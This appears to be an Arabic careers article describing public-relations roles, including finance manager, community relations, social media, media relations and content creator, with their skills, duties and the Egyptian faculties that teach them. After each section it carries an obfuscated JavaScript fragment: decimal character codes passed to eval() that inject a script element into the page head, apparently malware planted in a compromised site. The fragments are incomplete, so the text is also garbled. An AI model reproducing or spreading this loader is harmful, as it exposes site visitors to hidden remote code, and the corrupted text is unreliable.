العلاقات العامة

يُعرف أيضًا باسم: المستشار المالي ، وسطاء الأسهم
المدير المالى هو المسؤول الأول عن اى اجراءات مالية للشركة، وهو من يضع الخطة المالية للشركة فى المصروفات وعائد الإيرادات ويناقشها مع أقسام التنفيذ والتسويق. كما يقوم بتحليل وضع الشركة المالي ونقاط القوة والضعف بها ووضع المسار التصحيحي لها. ومن أهم خصائصه اعداد الاستراتيجيات المالية طويلة المدى واعداد التقارير المالية. ويلزم تواجده بشكل كبير فى البنوك والمصارف والمؤسسات التمويلية.
مهارات المدير المالى :
• مهارات عالية فى علم الإحصاء
• مهارات التحليل والتباين فى الأرقام
• القدرة على اتخاذ القرارات وتحمل تبعاتها
• مهارات تنظيمية عالية
• مهارات التعامل مع الأرقام والحفاظ على ميزانيات الشركة
• مهارات التواصل الفعال مع أفراد الفريق
مهام المدير المالى :
● الموازنة بين المصروفات والإيرادات
● عمل ميزانية الشركة
● تقديم الخطط والاستراتيجيات المالية طويلة المدى
● تقديم التقارير اللازمة عن وضع الشركة المالي للإدارة
● مناقشة الأقسام الفنية والتنفيذية عن الميزانية المقترحة للعمل
● تحليل البيانات المالية وتقديم اقتراحات لتحسينها
● عمل بحث عن سوق المنافسين ومقارنة الوضع المالي معهم
● مراجعة التكاليف و المصاريف والإيرادات والأرباح
● التعامل مع المؤسسات المالية والبنوك مباشرة والاستفادة من اقتراحاتهم لزيادة إنتاجية وأرباح الشركة

• الدراسة الاكاديمية
كليات التجارة بالجامعات المصرية الخاصة والحكومية

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);

تعمل العلاقات المجتمعية على تنمية الاتصالات المجتمعية لزيادة الوعي وفرص التعاون. مثل وظائف العلاقات العامة الأخرى ، تدير العلاقات المجتمعية الصورة العامة للمؤسسة. كعلاقات مجتمعية ، ستقوم بتنظيم المتطوعين وتنسيق الأحداث الخاصة وتنفيذ برامج التوعية المجتمعية. العديد من المتخصصين في العلاقات العامة لديهم الآن علاقات مجتمعية مدمجة في مناصبهم ، وخاصة شبكات التواصل الاجتماعي عبر الإنترنت.

مهارات مسئول العلاقات المجتمعية:
● يجب أن يتمتع بمهارات اتصال كتابية وشفوية ممتازة
● يجب أن يكون فريق المنحى ، مع مهارات ممتازة في التعامل مع الآخرين
● يجب أن تكون قادرة على تقييم التكلفة النسبية لمشروع مقارنة بفوائدها على المنظمة
● مهارات إقناع ممتازة

مهام مسئول العلاقات المجتمعية :
● يبني ويحافظ على العلاقات مع أعضاء المجتمع.
● يخطط ويطور وينفذ وينظم الأحداث والمتطوعين لتعزيز مهمة وأهداف الشركة
● تنظيم برامج التوعية المجتمعية وتنسيق الأحداث الخاصة التي ستؤثر على الرأي العام أو تروج لمنتجات أو خدمات أو أفكار الشركة
● يستخدم وسائل التواصل الاجتماعي لتنسيق العلاقات المجتمعية
● صياغة وتوزيع / نشر أجزاء محتوى مختلفة تروج للشركة ، وكذلك الأفراد أو المجموعات داخل الشركة
● يختار المواد الدعائية الإيجابية ويوزعها من خلال قنوات متنوعة
● الرد على استفسارات أعضاء المجتمع والأطراف المعنية الأخرى ؛ عند الحاجة ، يقوم بتجنيد متحدث رسمي مطلع أو مصدر معلومات للمساعدة
● يخطط وينسق وينفذ المناسبات الخاصة والمؤتمرات الصحفية
● أداء واجبات أخرى ذات صلة كما تم تعيينه
• الدراسة الاكاديمية
كليات الاداب قسم اجتماع وكليات الخدمة الاجتماعية بالجامعات المصرية الحكومية والخاصة

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);

وهذا الشخص مهمته كمسؤول العلاقات العامة تماماً ولكن من خلال قنوات التواصل الإجتماعى عبر الإنترنت مثل فيسبوك وتويتر واستخدام الايميلات والموقع الإلكتروني للشركة. ويصنف أيضاً كمسؤول تسويقى فى قسم التسويق الالكتروني Digital Marketing. وتقوم وظيفته بالتحديد فى بناء العلاقات مع الجمهور من خلال منصات التواصل الاجتماعى المختلفة وذلك من خلال الرد على استفساراتهم وتعليقاتهم على منشورات المؤسسة، وجدولة منشورات الشركة سواء كانت تحمل اخبار للشركة او اعلان عن منتج/ خدمة أو تفاعل مع أحداث عامة، وهو بذلك يزيد من الوعي بالعلامة التجارية للمؤسسة. وحسب حجم الشركة يمكن أن تنقسم مهام مسؤول وسائل التواصل الاجتماعي لعدد من الوظائف. فهناك الشخص الذى يرد على الرسائل والتعليقات من الجمهور وهو يسمى Moderator، وهناك الفرد الذى يقوم بعمل الحملات الاعلانية وهو يسمى Social Media Marketing، وهناك الشخص الذى يقوم بكتابة المحتوى ونشره وهو Social Media Specialist، وهناك من يقوم بتحليل أداء وتفاعل الناس على الصفحات الخاصة بالشركة ويسمى Social Media Analyst. ولا مانع من ان يقوم فرد واحد او اثنين بالقيام بعمل كل تلك المهام.

مهارات أخصائى وسائل التواصل الإجتماعى
● ان يكون لديه خبرة جيدة فى مواقع التواصل الاجتماعى
● فهم جيد بالـ SEO
● مهارات جذب الانتباه من خلال القنوات الافتراضية
● مهارات التحليل لطبيعة الجمهور الزائر لمنصات الشركة
● مهارات التواصل مع أفراد الفريق
● مواكبة التحديثات المستمرة لمنصات التواصل واستغلالها
● فهم جيد للتسويق الالكتروني وكيفية استخدام المنصات المختلفة حسب طبيعة الجمهور
● المتابعة الجيدة للأحداث واتجاهات الجمهور العام على الانترنت

مهام أخصائى وسائل التواصل الإجتماعى
● تجهيز المحتوى ونشره سواء كان محتوى كتابي او صور او فيديوهات وبما يناسب طبيعة القناة المشارك بها
● متابعة المنافسين للشركة وتحليل طبيعة جمهورهم وتفاعلهم معهم
● كتابة المحتوى بما يناسب كل قناة على حدا ومتابعة مؤشرات التفاعل عليه وتقبله
● التواصل المستمر مع الجمهور وسرعة الرد عليهم
● اللباقة فى الرد على استفسارات الجمهور وتفاعلاتهم على المنشورات
● التواصل مع أفراد فريق التصميم والتسويق وكتاب المحتوى لتحسين الأداء
● تقديم تقرير دورى عن مدى التفاعل من الجمهور وتقديم الاقتراحات اللازمة فيه
● وضع خطط تسويقية محددة لتحقيق هدف محدد ومتابعة نتائجها
● العمل على تحسين محركات البحث SEO
● زيادة عدد الزائرين على مواقع الشركة
● مواكبة التحديثات المستمرة وتعلم آلية استخدامها

الدراسة الاكاديمية
كليات التجارة بالجامعات المصرية الخاصة والحكومية قسم تسويق

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);

مسؤول العلاقات الاعلامية او العامة هو المسئول عن التواصل بين الشركة والمؤسسات او الشركات الأخرى وبين الشركة والجمهور. غالبًا ما ينشئ المتخصص لقاءات صحفية ومؤتمرات ، أو ينظم اجتماعات مع العملاء ، أو يساعد في إنشاء أفلام أو مقاطع فيديو للحملات الإعلانية ، أو ينظم أحداث خطط العمل لعرضها للجمهور. ومن أهم مسؤولياته عكس صورة الشركة الإيجابية للعملاء وللموظفين كذلك.

مهارات مسئول العلاقات الاعلامية :
● القدرة على كتابة البيانات الصحفية والتقارير الإخبارية
● معرفة ممتازة بوسائل الإعلام
● مهارات الحوار على كافة المستويات وشرح الأمور ببساطة
● مهارات الإقناع وتنمية العلاقات مع الموظفين والعملاء
● الحفاظ على سرية معلومات الشركة
● مهارة الاستماع الجيد والاهتمام بالتفاصيل
● مهارات الكتابة الجيدة
● القدرة على التعامل مع المواقف وحل المشكلات المختلفة
● القدرة على التعامل مع النقد وبناء أسلوب ودود مع الناس

مهام مسئول العلاقات الاعلامية :
● إعداد المقالات والبيانات الصحفية لوسائل الإعلام
● جمع ونشر المعلومات في الوقت المناسب للصحافة والموظفين
● إنشاء قنوات اتصال فعالة فى وسائل الإعلام المختلفة
● العمل كمتحدث إعلامي للشركة فى وسائل الإعلام وفى العلاقات مع الموظفين والعملاء
● البحث وكتابة المواد الإعلامية
● التواصل مع وسائل الإعلام ومدهم بأخبار الشركة
● تقوية العلاقات بين الشركة والجمهور، والشركة والموظفين
● تحديث بيانات وكل جديد عن الشركة أولاً بأول
● تعزيز وتقوية العلاقات مع الموردين
• الدراسة الاكاديمية
كليات الاعلام بالجامعة المصرية قسم العلاقات العامة

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);

ينتج صانع المحتوى مواد ترفيهية أو تعليمية. وهو مسؤول عن مساهمة المعلومات في أي وسيلة إعلامية. ويكون شغله الأساسي هو إضافة قيمة للمحتوى لامكانية تسويقه وجذب الجمهور. كما يعتمد فى عمله على الأبحاث المطولة فى مواضيع مختلفة واعادة صياغتها وتقديمها بشكل مختلف للجمهور.

مهارات صانع المحتوى :
● اجادة الصيغ المختلفة للكتابة (النصوص الإخبارية – الأبحاث – المدونات ) وغيرها
● فهم وتحليل اداء محركات البحث (SEO)
● القدرة على التعامل مع الأنظمة المختلفة لإدارة المحتوى مثل (WordPress)
● مهارات التواصل والتعاون مع فريق العمل
● القدرة على توعية الجمهور

مهام صانع المحتوى :
● كتابة محتوى يتوافق مع أهداف الشركة
● عمل بحث مكثف يومى عن كافة المواضيع والأخبار المتعلقة بمجال الشركة
● التأكد من استخدام الكلمات المفتاحية فى النصوص
● تزويد المحتوى بروابط داخلية وخارجية لزيادة فرص ظهور الموقع (Internal Links & External Links)
• التواصل مع موظفى التسويق والتصميم لإنتاج افكار تسويقية جديدة ومبتكرة
• الدراسة الاكاديمية
كليات الاعلام بالجامعة المصرية قسم العلاقات العامة

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);